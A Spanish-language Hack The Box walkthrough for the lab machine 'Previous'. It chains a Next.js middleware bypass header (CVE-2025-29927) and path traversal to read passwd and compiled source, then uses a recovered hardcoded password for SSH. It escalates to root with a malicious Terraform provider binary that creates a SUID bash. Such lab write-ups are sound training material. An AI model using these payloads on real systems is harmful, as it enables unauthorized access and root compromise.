Descripción

Previous es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de autorización para redirigir el middleware de Next.js
  • Salto de directorios en Next.js que conduce a la lectura del código fuente compilado
  • Código fuente compilado contiene credenciales del usuario
  • Credenciales del usuario se reutilizan para el usuario Linux
  • Escalada de privilegios mediante un proveedor Terraform malicioso

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.235.175.

$ ping -c 3 10.129.235.175
PING 10.129.235.175 (10.129.235.175) 56(84) bytes of data.
64 bytes from 10.129.235.175: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.129.235.175: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.129.235.175: icmp_seq=3 ttl=63 time=44.2 ms

--- 10.129.235.175 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.503/43.774/44.168/0.284 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.235.175 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.235.175
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.235.175 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.235.175
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.54 seconds

Entonces, tenemos dos servicios: uno de Secure Shell (SSH) y otro de Hypertext Transfer Protocol (HTTP). Dado que no contamos con credenciales viables para el servicio SSH, vamos a centrarnos en el servicio HTTP. Al acceder al mismo, observamos una redirección hacia previous.htb. Por lo tanto, agregamos esta dirección a nuestro archivo /etc/hosts para poder acceder directamente a ella.

$ echo "10.129.235.175 previous.htb" | sudo tee -a /etc/hosts

Al acceder al sitio web y explorarlo, encontramos la aplicación Previous.js instalada en él. La aplicación está mostrando sobre la posibilidad de ignorar el middleware. En la parte inferior de la página, encontramos un contacto llamado Jeremy con el correo electrónico jeremy@previous.htb. Al presionar el botón “Docs”, accedemos a la documentación y nos encontramos con una ventana de inicio de sesión para acceder al contenido. Al revisar el código fuente de la página, observamos que utiliza el marco de React llamado Next.js (https://nextjs.org/). Podemos determinar la versión de Next.js mediante una instrucción ejecutada en la consola del navegador, según lo descrito en la documentación mencionada (https://stackoverflow.com/questions/66341465/how-to-tell-if-a-website-is-using-next-js/71313515).

console.log({
  NextJSVersion: window.next?.version,
  pageProps: window.__NEXT_DATA__?.props?.pageProps
})

Explotación

Como resultado de la ejecución del código anterior, obtenemos como salida: NextJSVersion: "15.2.2". Esta versión de Next.js es vulnerable a una vulnerabilidad de pasar por alto de autorización si el control de acceso se realiza en middleware, según lo indicado en el CVE-2025-29927. Encontramos un ejemplo de demostración (PoC) de la vulnerabilidad en el sitio web de DATADOG. En resumen, podemos ignorar el control de acceso de la página de inicio de sesión inyectando una cabecera HTTP específica en la solicitud. El encabezado es: x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware. Podemos inyectar esta cabecera utilizando Burp Suite, mediante su función “Match and replace” en la pestaña Proxy. Ahora podemos acceder a la página http://previous.htb/docs, lo que nos permite pasar por alto el control de acceso y tenemos acceso al resumen de la documentación. En la pestaña “Getting Started”, encontramos que el proyecto se instala utilizando la herramienta npm. En la pestaña “Examples”, encontramos un fragmento de código en JavaScript para cargar la biblioteca previous. Podemos descargar el archivo de código en JavaScript mediante el siguiente enlace que encontramos en la página: http://previous.htb/api/download?example=hello-world.ts. Podemos verificar si este punto de conexión es vulnerable a una vulnerabilidad de salto de directorio (Path Traversal).

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Este punto de conexión es efectivamente vulnerable y podemos recuperar el contenido del archivo /etc/passwd. A continuación, vamos a utilizar esta vulnerabilidad para trazar el directorio en el que nos encontramos con la ayuda de una herramienta de fuerza bruta llamada wfuzz. Primero, observamos que si buscamos un directorio válido obtenemos el mensaje de error “Internal Server Error” y si buscamos un archivo que no existe obtenemos el mensaje de error “File not found”.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../../etc/'

Internal Server Error


$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../../etc/aaa'

{"error":"File not found"}

Aún podemos obtener el contenido del archivo de contraseñas (passwd) con la ruta ../../../etc/passwd, por lo que podemos concluir que nos encontramos en la ruta /dir1/dir2/dir3/hello-world.ts.

$ wfuzz -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt --hc=404 "http://previous.htb/api/download?example=../FUZZ/hello-world.ts" 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://previous.htb/api/download?example=../FUZZ/hello-world.ts
Total requests: 4734
...
000001717:   200        4 L      12 W       69 Ch       "examples"

$ wfuzz -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt --hc=404 "http://previous.htb/api/download?example=../../FUZZ/examples/hello-world.ts"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://previous.htb/api/download?example=../../FUZZ/examples/hello-world.ts
Total requests: 4734
...
000003364:   200        4 L      12 W       69 Ch       "public"

$ wfuzz -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt --hc=404 "http://previous.htb/api/download?example=../../../FUZZ/public/examples/hello-world.ts"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://previous.htb/api/download?example=../../../FUZZ/public/examples/hello-world.ts
Total requests: 4734
...
000000670:   200        4 L      12 W       69 Ch       "app"

Encontramos el archivo hello-world.ts en la carpeta /app/public/examples. También encontramos el archivo /app/package.json, que se utiliza por la herramienta de gestión de paquetes npm que vimos anteriormente.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../app/package.json'
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

Encontramos la dependencia next-auth, utilizada para el inicio de sesión que ignoramos anteriormente. Si pudiéramos leer el código fuente de la aplicación podríamos recuperar las credenciales de un usuario. A continuación, vamos a enumerar los archivos JavaScript (*.js, *.jsx, *.ts, *.tsx) en la carpeta /app.

$ wfuzz -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -z list,ts-tsx-js-jsx --hc=404 "http://previous.htb/api/download?example=../../../app/FUZZ.FUZ2Z"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://previous.htb/api/download?example=../../../app/FUZZ.FUZ2Z
Total requests: 18936
...
000014899:   200        37 L     83 W       6009 Ch     "server - js"

Sólo encontramos un archivo, el archivo server.js, que es el único archivo JavaScript encontrado en la carpeta /app.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../app/server.js'  
const path = require('path')

const dir = path.join(__dirname)

process.env.NODE_ENV = 'production'
process.chdir(__dirname)

const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'

let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],
...

process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)
...

Tenemos la configuración del proyecto Next.js en la variable nextConfig. Encontramos que el directorio de distribución para los archivos “compilados” en el directorio ./.next, o /app/.next. Y efectivamente existe. Además, encontramos información sobre los archivos contenidos en este carpeta. Podemos recuperar las rutas de la aplicación a través del archivo routes-manifest.json.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json'
{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
    {
      "page": "/docs/[section]",
      "regex": "^/docs/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPsection": "nxtPsection"
      },
      "namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
    }
  ],
...

Encontramos la ruta al punto final de autenticación, /api/auth/[...nextauth]. Dentro de la carpeta, en la carpeta server podemos encontrar los archivos compilados correspondientes a la parte back-end. Después tenemos la carpeta pages. Dado que los archivos han sido compilados en un archivo .js, vamos a recuperar el archivo /app/.next/server/pages/api/auth/[...nextauth].js.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'
...
({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET}
...

Encontramos un nombre de usuario y una contraseña: jeremy como usuario y MyNameIsJeremyAndILovePancakes como contraseña. Podemos utilizar estos credenciales para iniciar sesión mediante SSH.

$ ssh jeremy@previous.htb
jeremy@previous.htb's password: 
...
jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)

Post-Explotación

Al enumerar el archivo /etc/passwd, no podemos encontrar el usuario nextjs. Esto confirma que estuvimos en un contenedor Docker previamente.

jeremy@previous:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash

El usuario jeremy solo puede ejecutar una sola orden como usuario root, que es /usr/bin/terraform -chdir=/opt/examples apply.

jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Este comando cambia la carpeta actual al directorio /opt/examples y ejecuta un script de Terraform.

jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /usr/local/go/bin
│ 
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published
│ releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.

Apply complete! Resources: 0 added, 0 changed, 0 destroyed.

Outputs:

destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"

La aplicación utiliza un proveedor personalizado llamado previous.htb/terraform/examples ubicado en el directorio /usr/local/go/bin. Podemos leer el contenido completo del script de Terraform localizado en el archivo /opt/examples/main.tf.

jeremy@previous:~$ cat /opt/examples/main.tf
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

El script utiliza el proveedor personalizado previous.htb/terraform/examples y compara el archivo /root/examples/hello-world.ts con el especificado por el proveedor. Ya que ejecutamos el script, sabemos que es el archivo /home/jeremy/docker/previous/public/examples/hello-world.ts. Si difieren, será reemplazado con una copia del directorio /root. Podemos listar el contenido del folder /usr/local/go/bin, que incluye los proveedores de Terraform.

jeremy@previous:~$ ls -l /usr/local/go/bin
total 38736
-rwxr-xr-x 1 root root 13387863 Aug  7  2024 go
-rwxr-xr-x 1 root root  2850696 Aug  7  2024 gofmt
-rwxr-xr-x 1 root root 23418927 Aug 21 18:38 terraform-provider-examples

El proveedor se encuentra dentro del archivo terraform-provider-examples. El directorio de proveedores está especificado en un archivo editable por nosotros, /home/jeremy/.terraformrc.

eremy@previous:~$ cat /home/jeremy/.terraformrc
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

Podemos reemplazar el directorio /usr/local/go/bin con un directorio controlado por nosotros y ejecutar un binario malicioso llamado terraform-provider-examples. Vamos a codificar un binario que cree un SUID de Bash en la carpeta /tmp.

jeremy@previous:~$ cat<<EOF>exploit.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    const char *cmd = "cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash";
    execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
    return 0;
}


EOF

jeremy@previous:~$ mkdir -p /home/jeremy/malicious_provider
jeremy@previous:~$ gcc -o /home/jeremy/malicious_provider/terraform-provider-examples exploit.c

Creamos el binario malicioso /home/jeremy/malicious_provider/terraform-provider-examples. Ahora reemplazamos el directorio /usr/local/go/bin con el directorio /home/jeremy/malicious_provider en el archivo .terraformrc. Ahora podemos re-ejecutar el comando terraform.

jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /home/jeremy/malicious_provider
│ 
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published
│ releases.
╵
╷
│ Error: Failed to load plugin schemas
...

Recibimos un error, pero el binario se ejecuta, se crea el SUID de Bash y podemos crear una sesión como root.

jeremy@previous:~$ ls /tmp/suid-bash
/tmp/suid-bash
jeremy@previous:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)

Flags

En la consola de root, podemos recuperar los archivos user.txt y root.txt.

suid-bash-5.1# cat /home/jeremy/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>